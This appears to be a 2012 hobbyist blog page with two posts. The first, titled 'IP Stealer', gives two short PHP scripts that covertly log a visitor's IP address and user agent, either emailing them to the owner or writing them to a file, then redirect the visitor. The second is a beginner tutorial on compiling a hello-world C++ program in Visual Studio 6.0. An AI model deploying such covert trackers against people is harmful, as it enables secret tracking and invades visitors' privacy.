Saturday, June 2, 2012

IP Stealer

For Auto Email

--------/start here/--------
<?php
$content = "IP : {$_SERVER['REMOTE_ADDR']} - User Agent : {$_SERVER['HTTP_USER_AGENT']}\n";
mail('your email@here.com', 'Logs - ' . time(), $content, "from:Logger");
    
header("Location: http://your wesite here");
?>
---/end here/---

For Auto WEB IP Log

 ------/start here/------
<?php
$content = "IP : {$_SERVER['REMOTE_ADDR']} - User Agent : {$_SERVER['HTTP_USER_AGENT']}\n";
    
$fp = fopen('logs.txt', 'a');
fwrite($fp, $content);
fclose($fp);
    
header("Location: http://your website here");
?>
----------/end here/-----

this are two php shell to grap ip and automatically  send to your email add.
this is for educational purpose only

~~> e-yhamtech

Creating and Executing a Visual Stdio 6.0 Application

Visual Stdio 6.0 is one of free programming environment tool. 

1. Start visual stdio 6.0.

2. On main menu, click on File->New. Project tab will be appear as default.

3. On new dialog click on "Win32 Console Application". Name the Project name i.e First Program. You can also select the location, where you want to make project in hard drive. And click OK.


4. One more dialog box will open you just need to click Finish. By default "An empy project" will be selected. and if any more dialog open just click Ok.

5. Now again, click on File->New. Files tab will be selected as by default.

6. Select C++ Source File And add name of .cpp file. You can name any thing you like. And Press OK.


7. Now a white working sheet will appear. This is the place where we are going to write our code.

Code:
#include<iostream.h>  // Header File
int main() // Main Function
{ // Start Bracket function
cout<<"Hello World This is my 1st C++ program in vs6 \n";  // Just Print statement /n is for next line
return 0;  // return 0 Means this function will return zero
} // End of Bracket


8. Ctrl+F7 to compile code Or click Compile button.

9. Ctrl+F5 to run Program Or just click on Execute button shown in figure.

10. A console will pop up show you the output. Congrats you have succssfully run your 1st program in C++. :)

11. You can also use any other compiler like Dev C++, Turbo C, gcc compiler in Linux and any other version of Visual stdio.

12. I hope this tutrial will help you to make exe file of any C++ code.

~~> e-yhamtech